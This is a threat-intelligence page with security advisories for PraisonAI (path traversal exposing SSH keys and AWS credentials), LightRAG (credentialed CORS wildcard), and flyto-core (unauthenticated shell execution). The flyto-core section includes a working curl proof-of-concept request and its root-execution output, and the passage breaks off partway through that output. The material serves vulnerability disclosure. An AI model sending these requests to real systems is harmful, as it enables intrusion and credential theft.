Threat Intelligence Database

PraisonAI is a multi-agent teams system. Prior to version 4.6.40, the fix for GHSA-9mqq-jqxf-grvw / CVE-2026-44336 is incomplete. The original advisory description named four vulnerable handlers in `mcp_server/adapters/cli_tools.py`. Commit `68cc9427` ("fix(security): harden MCP rules path handling…") added a `_resolve_rule_path()` helper and applied it to `rules.create`, `rules.show`, and `rules.delete`. `workflow.show` was left unchanged. Two adjacent handlers in the same file have the same pattern, `workflow.validate` and `deploy.validate`. Neither was mentioned in the original advisory. Both remained unchanged. The original advisory also identified the dispatcher (`server.py:281-298`) as a root cause. It accepts unvalidated `**kwargs` from `params["arguments"]` with no enforcement against the tool's declared `input_schema`. That code is unchanged prior to version 4.6.40. A single unauthenticated MCP `tools/call` to `praisonai.workflow.show` returns the contents of any file the host user can read: `/etc/passwd`, `~/.ssh/id_rsa`, `~/.aws/credentials`, or any project `.env`. Version 4.6.40 contains an updated fix.

LightRAG provides simple and fast retrieval-augmented generation. Prior to 1.5.4, the server defaults to CORS_ORIGINS=* combined with allow_credentials=True in lightrag/api/lightrag_server.py, causing Starlette CORSMiddleware to effectively whitelist every origin for credentialed cross-origin requests. Any malicious website visited by an authenticated LightRAG user can silently make authenticated API requests, exfiltrating documents and knowledge graph data or performing destructive actions such as deleting the document store. This vulnerability is fixed in 1.5.4.

## Unauthenticated Command Execution via HTTP MCP `execute_module` ### Summary The HTTP MCP endpoint (`POST /mcp`) in flyto-core accepts unauthenticated JSON-RPC `tools/call` requests and dispatches them to arbitrary registered modules, including `sandbox.execute_shell`, which passes attacker-controlled input directly to `asyncio.create_subprocess_shell`. An unauthenticated attacker can execute arbitrary OS commands as the flyto-core server process. By default the server binds to `127.0.0.1`, making this a High-severity local vulnerability (CVSS 8.4); if started with `--host 0.0.0.0`, it becomes remotely exploitable over the network. Dynamic reproduction confirmed command execution as `root` inside a Docker container without any `Authorization` header. ### Details flyto-core exposes an HTTP API via FastAPI. When the API is started (`flyto serve`), the MCP router is unconditionally mounted at `/mcp` (`src/core/api/server.py:75-78`). The route handler at `src/core/api/routes/mcp.py:65-66` declares `@router.post("")` with **no** `Depends(require_auth)` dependency, unlike the analogous REST execution routes (`src/core/api/routes/modules.py:93`) which enforce both authentication and a module denylist. The complete unauthenticated data flow from source to sink: 1. **`src/core/api/server.py:75-78`** — `mcp_router` is mounted under `/mcp` unconditionally at app creation. 2. **`src/core/api/routes/mcp.py:65-66`** — `@router.post("")` has no `Depends(require_auth)` guard; any HTTP client may POST to this route. 3. **`src/core/api/routes/mcp.py:79`** — the full request body (attacker-controlled JSON) is parsed without validation. 4. **`src/core/api/routes/mcp.py:103-104`** — each JSON-RPC item is forwarded to `handle_jsonrpc_request` without a `module_filter`. 5. **`src/core/mcp_handler.py:813-838`** — `tools/call` with name `execute_module` forwards attacker-controlled `module_id` and `params` to `execute_module()`. 6. **`src/core/mcp_handler.py:180`, `214-215`** — the module registry resolves `module_id` and invokes it with attacker-supplied `params`. 7. **`src/core/modules/registry/decorators.py:96-101`** — the function wrapper exposes `self.params` as `context['params']`. 8. **`src/core/modules/atomic/sandbox/execute_shell.py:137-139`** — `command` is read directly from `params` with no sanitization. 9. **`src/core/modules/atomic/sandbox/execute_shell.py:163-169`** — `command` reaches `asyncio.create_subprocess_shell` with `shell=True` and no allowlist or escaping. The `sandbox.execute_shell` module is not covered by the default denylist (`_DEFAULT_DENYLIST = ["shell.*", "process.*"]` at `src/core/api/security.py:126`), so even if `module_filter` were applied it would still be reachable. **Vulnerable code excerpts:** ```python # src/core/api/routes/mcp.py:65-66 — missing auth @router.post("") async def mcp_post(request: Request): ``` ```python # src/core/mcp_handler.py:832-838 — attacker-controlled dispatch elif tool_name == "execute_module": result = await execute_module( module_id=arguments.get("module_id", ""), params=arguments.get("params", {}), context=arguments.get("context"), browser_sessions=browser_sessions, ) ``` ```python # src/core/modules/atomic/sandbox/execute_shell.py:137-169 — sink params = context['params'] command = params.get('command', '') # ... only empty-command and cwd existence checks ... proc = await asyncio.create_subprocess_shell(command, ...) ``` **Contrast with the protected REST route:** ```python # src/core/api/routes/modules.py:93 — correctly guarded @router.post("/execute", dependencies=[Depends(require_auth)]) ``` The existence of authentication on the REST execution routes demonstrates that a security boundary was intended; the MCP route simply omits it. ### PoC **Environment setup (Docker):** ```bash # Build the image (context: the report directory containing repo/ and vuln-001/) docker build \ -f vuln-001/Dockerfile \ -t flyto-vuln-001 \ reports/mcp_57_flytohub__flyto-core/ # Start the server (binds 0.0.0.0:8333 inside the container) docker run --rm -d \ -p 127.0.0.1:8333:8333 \ --name flyto-vuln-001-test \ flyto-vuln-001 ``` **Exploit (curl) — no Authorization header:** ```bash curl -sS http://127.0.0.1:8333/mcp \ -H 'Content-Type: application/json' \ -d '{ "jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": { "name": "execute_module", "arguments": { "module_id": "sandbox.execute_shell", "params": {"command": "id", "timeout": 5} } } }' ``` **Exploit (Python PoC script):** ```bash python3 vuln-001/poc.py \ --host 127.0.0.1 --port 8333 --command id ``` **Observed response (dynamic reproduction, Phase 2):** ```json { "jsonrpc": "2.0", "id": 1, "result": { "structuredContent": { "ok": true, "data": { "stdout": "uid=0(root) gid=0(root) groups=0(root)\n", "stderr": "", "exit_code": 0,